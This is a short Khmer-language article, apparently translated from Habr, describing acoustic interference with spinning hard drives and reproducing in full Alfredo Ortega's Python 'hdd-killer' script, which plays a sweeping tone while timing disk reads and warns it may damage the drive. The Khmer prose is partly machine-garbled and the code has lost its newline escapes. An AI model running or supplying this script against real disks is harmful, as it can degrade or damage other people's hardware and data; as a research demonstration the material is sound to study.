αž“αŸαŸ‡αž”αž„αŸ’αž€αžΎαž“αž€αžΆαžšαž–αž“αŸ’αž™αžΆαžšαž–αŸαž›αž€αŸ’αž“αž»αž„αž€αžΆαžšαž…αžΌαž›αž”αŸ’αžšαžΎ HDD αŸ”

αž€αžΆαžšαž”αž„αŸ’αž αžΆαž‰αž–αžΈαž€αžΆαžšαžŸαŸ’αžšαŸ‚αž€αžšαž”αžŸαŸ‹αž˜αž“αž»αžŸαŸ’αžŸαž“αŸ…αž›αžΎ hard drive αž“αŸ…αž€αŸ’αž“αž»αž„αž˜αž‡αŸ’αžˆαž˜αžŽαŸ’αžŒαž›αž‘αž·αž“αŸ’αž“αž“αŸαž™αŸ” αž€αžΆαžšαžœαžΆαžŸαŸ‹αžœαŸ‚αž„αž—αžΆαž–αž™αžΊαžαž™αŸ‰αžΆαžœ


αžŠαžΎαž˜αŸ’αž”αžΈαž”αž„αŸ’αž€αžΎαžαžŸαŸ†αž‘αŸαž„αžšαŸ„αž‘αŸ Alfredo Ortega αž”αžΆαž“αžŸαžšαžŸαŸαžšαž’αž€αŸ’αžŸαžš Python αž αŸ…αžαžΆ hdd-αžƒαžΆαžαž€αžš (αž€αžΆαžšαž”αž„αŸ’αž αžΆαž‰αžœαžΈαžŠαŸαž’αžΌ).

αžŸαŸ’αž‚αŸ’αžšαžΈαž” HDD killer αžœαžΆαžαžΌαž…αžŽαžΆαžŸαŸ‹ αžŠαžΌαž…αŸ’αž“αŸαŸ‡αž’αŸ’αž“αž€αž’αžΆαž…αž”αŸ„αŸ‡αž–αž»αž˜αŸ’αž–αžœαžΆαž‘αžΆαŸ†αž„αžŸαŸ’αžšαž»αž„αž“αŸ…αž‘αžΈαž“αŸαŸ‡αŸ”

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

αž”αŸ’αžšαž—αž–: www.habr.com

αž”αž“αŸ’αžαŸ‚αž˜αž˜αžαž·αž™αŸ„αž”αž›αŸ‹